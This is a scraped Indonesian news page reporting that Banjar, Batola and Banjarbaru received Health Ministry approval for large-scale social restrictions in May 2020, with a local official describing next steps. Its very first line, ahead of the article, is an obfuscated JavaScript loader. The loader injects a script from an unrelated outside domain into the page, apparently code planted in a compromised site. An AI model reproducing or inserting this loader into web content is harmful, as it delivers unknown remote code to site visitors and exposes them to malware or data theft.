(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

PSBB Disetujui, Pemko Banjarbaru Butuh 3-4 Hari Lakukan Sosialisasi dan Mengesahkan Perwali


KANALKALIMANTAN.COM, BANJARBARU – Senin (11/5/2020) malam, beredar surat keputusan (SK) Kementrian Kesehatan (Kemenkes) RI yang menyutujui pelaksanaan Pembatasan Sosial Berskala Besar (PSBB) di tiga daerah yang berada di Provinsi Kalimantan Selatan.

Surat tersebut menandai akan dimulainya pelaksanaan Pembatasan Sosial Berskala Besar (PSBB) di tiga wilayah yakni Kabupaten Banjar, Batola, dan Kota Banjarbaru.

Ketiga daerah ini menyusul kota Banjarmasin yang  telah menerapkan PSBB sejak tanggal 27 April lalu.

Draft surat persetujuan 3 daerah untuk menerapkan PSBB menyebar begitu cepat di jejaring sosial media WhatsApp. Namun begitu, tak sedikit pula masyarakat yang menanyakan keabsahan draft surat tersebut.

Untuk mengklarifikasi hal ini, Kanalkalimantan.com menghubungi Kepala Dinas Kesehatan Kota Banjarbaru, Rizana Mirza. Diungkapkannya, bahwa sampai pada malam ini pihaknya belum menerima secara langsung fisik surat keputusan dari Kemenkes RI tersebut. Namun, dirinya tak membantah draft surat yang beredar tersebut adalah benar adanya.

“Melihat format dan isi draft suratnya sepertinya benar. Kemungkinan besok pagi fisik suratnya akan dikirim oleh Pemprov Kalsel. Karena usulan PSBB kita memang melalui Pemprov” kata Rizana.

Jika telah menerima surat keputusan PSBB tersebut, lantas apa langkah selanjutnya dari Tim Gugus Tugas dan Pemerintah Kota Banjarbaru? Dalam hal ini, Rizana mengungkapkan bahwa pihak akan segera melakukan sosialiasi dan pembentukan Peraturan Wali Kota (Perwali) ihwal teknis pelaksanaan PSBB.

“Ya, kira-kira 3 sampai 4 hari, kita akan sosialiasi dulu. Termasuk mengesahkan Perwali pelaksanaan PSBB. Tentunya kita akan mengadakan rapat besar untuk membahas hal-hal ini. Intinya kita siap,” pungkas Rizana.(Kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Cell

 


Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Lomba Mancing Ikan di Sungai Kemuning Meriahkan HUT ke-17 Kecamatan Banjarbaru Selatan

KANALKALIMANTAN.COM, BANJARBARU - Warga Kecamatan Banjarbaru Selatan antusias memeriahkan lomba memancing ikan yang digelar di… Read More

19 menit ago

Peduli Korban Kebakaran di Cempaka, Srikandi PLN Salurkan Bantuan Perlengkapan Dapur

KANALKALIMANTAN.COM, BANJARBARU – Srikandi PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B)… Read More

1 jam ago

Bupati dan Wabup Banjar Hadiri Haul Ke-86 Datu Kasyful Anwar

KANALKALIMANTAN.COM, MARTAPURA - Ribuan orang memadati area kubah tempat dilaksanakannya haul ke-86 Tuan Guru KH… Read More

6 jam ago

Lelaki di Banjarmasin Habisi Kakak Ipar, Jasad Dibuang ke Wilayah Kintap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian dari Satuan Reserse Kriminal (Satreskrim) Polresta Banjarmasin mengungkap kasus pembunuhan yang… Read More

6 jam ago

Tingkatkan Capaian Akses Layanan Air Limbah dan Air Minum, Dinas PUPR Kalsel Gelar Workshop

KANALKALIMANTAN.COM, BANJARBARU - Workshop Implementasi Jastrada Air Minum Provinsi Kalsel tahun 2024 di Banjarmasin digelar… Read More

23 jam ago

Ikuti Festival Tunas Bahasa Ibu Nasional di jakarta, Murid SDN Indrasari 2 Audiensi ke Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Murid kelas 5 SDN Indrasari 2 Martapura, M Royan bersama guru dan… Read More

23 jam ago

This website uses cookies.